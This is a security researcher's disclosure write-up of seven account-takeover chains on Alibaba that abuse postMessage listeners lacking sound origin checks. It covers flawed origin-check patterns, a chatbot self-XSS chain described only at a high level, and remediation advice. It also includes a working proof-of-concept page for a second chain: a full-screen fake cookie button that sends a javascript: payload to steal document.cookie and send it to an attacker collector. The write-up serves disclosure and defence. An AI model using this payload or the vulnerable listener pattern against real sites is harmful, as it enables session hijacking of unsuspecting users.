Seven Critical Account Takeovers on Alibaba via postMessage Chains
- Program
- Alibaba VDP
- Impact
- Seven critical one-click account takeovers
- Scope hit
*.alibaba.com: recruitment, hiring, campus, and others- Root class
- Missing or weak
event.originvalidation onpostMessagelisteners - Timeline
- Seven criticals filed in six days
- Status
- Partially patched, some chains still under embargo
Summary
Every bug in this chain is boring on its own. A self-XSS on a chatbot. An open redirect. A permissive window.addEventListener("message", ...) handler with no origin check. File any one of them individually and the report gets closed as informational.
Chained together against a real target, they turned into seven critical account takeovers on the Alibaba VDP in about six days. The victim visits a page. That page sends a postMessage. The handler on the Alibaba side treats it as if it came from Alibaba itself. Session cookies scoped to .alibaba.com mean the takeover applies to every subdomain the victim is logged into, not just the vulnerable one.
This writeup covers the mental model I was operating under, the origin-check patterns that fail in the wild, and two of the concrete chains that landed. The AI-chatbot chain is described at the class level because parts of it are still being patched. The location-sink chain is walked end to end with a proof of concept.
Gadgets, not bugs
Most of what you find on a mature target does not look like a bug in isolation. Self-XSS, HTML injection, open redirect, permissive CORS, a chatty postMessage sink; these are gadgets. A gadget carries no severity by itself. It exists to link two other things together. Once you start treating your triage rejects as inventory instead of failures, the pipeline changes: every low-severity finding becomes a candidate for the next chain.
All seven of the Alibaba criticals started life as a pair of gadgets that would each have been closed as informational.
postMessage in one page
The postMessage API exists to move data between two windows that live on different origins, without tripping the same-origin policy. Three roles matter.
- Sender: calls
window.postMessage(data, targetOrigin). - Listener: registers
window.addEventListener("message", handler)and receives aneventobject withevent.data,event.origin, andevent.source. - Sink: whatever the listener does with
event.data. This is where impact appears. Sinks includeinnerHTML,eval,window.location, and outboundpostMessagecalls that leak sensitive data.
Origin means protocol plus host. https://example.com and http://example.com are different origins. example.com and sub.example.com are different origins. example.com:80 and example.com:2020 are different origins. If your handler cares about identity, it needs to compare on all three, and it needs to compare on equality.
Here is the shape of the safe pattern, for reference:
window.addEventListener("message", (event) => {
if (event.origin !== "https://trusted.example") return;
// safe to use event.data
});
Origin checks that look right and are not
Every chain in this engagement went through a broken origin check or no check at all. Four patterns keep showing up.
1. startsWith
if (event.origin.startsWith("https://target.com")) {
processMessage(event.data);
}
Register target.com.attacker.example and the check passes. Attacker origin: https://target.com.attacker.example, prefix https://target.com, match.
2. Regex with an unescaped dot
if (event.origin.match(/^https:\/\/target.com$/)) {
processMessage(event.data);
}
The . in target.com is not a literal in regex; it matches any character. Register targetxcom or target-com and the origin passes.
3. includes
if (event.origin.includes("https://target.com")) {
processMessage(event.data);
}
Anything with the literal substring anywhere in the origin passes. This is how one of the Alibaba criticals landed: register a domain that contains the target string and the handler accepts messages from it.
4. indexOf
if (event.origin.indexOf("https://target.com") !== -1) {
processMessage(event.data);
}
Same failure mode as includes in different syntax. Any origin that contains the substring anywhere returns a non-negative index.
Fixing all four is the same one-line change: strict equality against a fully qualified origin, or membership in an allowlist array of fully qualified origins.
Chain 1: self-XSS in an AI chatbot to one-click ATO
The starting gadget was a stored, self-scoped XSS in the response rendering of an Alibaba AI chatbot. If I sent the chatbot a message containing an HTML payload, the reply pane rendered it unsafely and the payload executed in my own session. No victim, no severity.
Two escalation paths came off it. The first was CSRF: could I force the victim's browser to send a message to the chatbot as them? That path died on a legitimate anti-CSRF token; the send endpoint required a header value that lived outside the cookie jar and could not be auto-attached by the browser.
The second path was postMessage. A handler somewhere in the chatbot flow took an incoming message, read a text field off event.data, and used it to trigger the same "send chat message" action that CSRF would have. There was no event.origin check. The listener accepted messages from any origin, including one hosted at http://localhost:8888.
Concretely, the chain looked like this:
- Victim visits an attacker-controlled page. Nothing phishy in the URL; it can be a blog post about cats.
- The page opens the target subdomain in a hidden iframe. The victim is already authenticated because their session cookie is scoped to
.alibaba.com. - Attacker page posts a message into the iframe: "send this text to the chatbot". The chatbot handler has no origin check, so it obeys.
- The chat submission API accepts the request because the header-scoped anti-CSRF token is generated and attached by the same page that just submitted the message. The message is sent by the victim's session and stored against their conversation history.
- The chatbot renders its response, which contains the attacker's HTML payload. The self-XSS fires, but this time the context is the victim, not the attacker. Self-XSS has become stored XSS with meaningful victim context.
- The payload runs against a cookie scope of
.alibaba.com, so it can exfiltrate or manipulate any Alibaba subdomain the victim has ever logged into. Recruitment, hiring, campus, the main marketplace; one origin steals the whole set.
The impact multiplier here is the cookie scope. If cookies were scoped to sub.alibaba.com only, this would be a single-property takeover. Scoped to the apex, it is a platform takeover.
The proof-of-concept URL and payloads are held back at Alibaba's request until the full class is patched.
Chain 2: location-sink postMessage to one-click ATO via about:blank
This chain has a live proof of concept in the video walkthrough and covers a class of bug that shows up on many targets, not just Alibaba.
The starting gadget is a listener that assigns attacker-controlled data straight to window.location, with no origin check.
// vulnerable listener on the target subdomain
window.addEventListener("message", (event) => {
window.location = event.data;
});
This handler is an open redirect primitive. The value on the other end does not have to be an https: URL. A javascript: URI is a legal value for window.location, and setting it executes the JavaScript in the current document's origin. Modern browsers strip javascript: navigations from top-level frames in some paths, so what actually gets executed depends on how the assignment resolves. On Chrome, the effective result is a navigation to about:blank, and the payload runs in the context of that blank document.
The key browser fact for this chain: an about:blank document reached by same-origin navigation inherits the origin of the page that navigated to it. That means the payload is not sandboxed in a fresh origin. It runs with the same origin as the vulnerable Alibaba subdomain, which means document.cookie returns the victim's session cookies for that origin, and because the cookies are scoped to .alibaba.com, this generalises across the platform.
The chain end to end:
- Attacker hosts a page and covers it in a full-viewport clickable element. Any cookie-consent button, any legitimate call to action, any first click.
- On click, the page opens the target Alibaba subdomain and posts a message:
event.datais set to ajavascript:URI that fetches the session data and exfiltrates it to an attacker collector. - The target's
messagehandler assigns that URI towindow.location. - The browser navigates to
about:blankand executes the payload with the origin inherited from the referrer, which is the target subdomain. - The payload reads
document.cookie, sends the cookies out of band, and the attacker replays them to hijack the session.
<!doctype html>
<html>
<body>
<button id="accept" style="position:fixed;inset:0;width:100vw;height:100vh">Accept cookies</button>
<script>
const XFIL = new URL(location).searchParams.get("xfil");
const payload = `javascript:fetch("${XFIL}?c="+encodeURIComponent(document.cookie)+"&h="+encodeURIComponent(location.host))`;
document.getElementById("accept").addEventListener("click", () => {
const w = window.open("https://target-subdomain.alibaba.com/vulnerable-page");
setTimeout(() => w.postMessage(payload, "*"), 2500);
});
</script>
</body>
</html>
The click is required only because the browser will not open a popup without user activation. If the vulnerable page is already reachable through an iframe from the attacker origin, the click can be dropped entirely and the chain becomes zero-click on visit. Whether that path exists depends on the target's frame ancestors policy.
Browser behaviour matters here. Brave blocks parts of this chain by default. Chrome and Chromium forks that follow upstream behaviour execute it. The variation on Brave is why I labelled this chain "one or two clicks depending on browser" during the disclosure.
Why the impact scales
Two properties turned each of these local bugs into critical ATOs:
- Cookie scope. Alibaba sets its authentication cookies at the apex
.alibaba.com. Any XSS on any subdomain reads them. Every added subdomain is a new entry point that terminates at the same shared cookie jar. - Reachable listeners. A permissive
postMessagelistener on a subdomain the victim is signed into is enough. The listener does not have to live on the property whose account you are taking over; it only has to share the cookie scope.
Fix either and the criticals collapse. Fix both and the entire class disappears.
Methodology
Two things carried the workflow:
- Enumerate every listener. Fancy Tracker and DOM Logger++ let you list every
messagehandler on a page, dump the source, and see which sinks the handler touches. That is the fastest way to find a target-side handler with a dangerous sink and no origin check. - Keep the gadget list open. Every rejected report is inventory. Self-XSS, HTML injection into a rendered chat log, open redirect, permissive CORS, weak
event.originchecks. Any two of them next to each other is a chain worth writing up.
Remediation
The fix on the target side is short. For every listener, compare on strict equality against an explicit list of expected origins, and reject anything else.
const ALLOWED = new Set([
"https://a.alibaba.com",
"https://b.alibaba.com",
]);
window.addEventListener("message", (event) => {
if (!ALLOWED.has(event.origin)) return;
// safe to use event.data
});
On top of that:
- Do not use
startsWith,includes,indexOf, or a regex containing an unescaped.for origin validation. All four fail against a domain the attacker can register. - Never assign attacker-controlled data to
window.location,document.location, orlocation.hrefwithout protocol validation. Reject anything that is nothttp:orhttps:. - Prefer
textContentoverinnerHTMLwhen rendering any string that ever passed throughevent.dataor a chat pipeline. - Reduce cookie scope. If a subdomain does not need the platform session, do not send the platform session to it. Path and domain scoping is one of the cheapest containment controls available.
- Ship a Content Security Policy that blocks inline scripts, blocks
javascript:URLs in navigation, and constrains connect sources. Even a partial CSP downgrades most of these chains from account takeover to noisy failure.
Timeline
| Date | Event |
|---|---|
| 2026-06 (undisclosed date) | First critical filed under Alibaba VDP |
| Within six days | Total of seven criticals filed across the same class |
| Ongoing | Partial patches shipped. AI chatbot chain still under embargo at the time of this writeup. |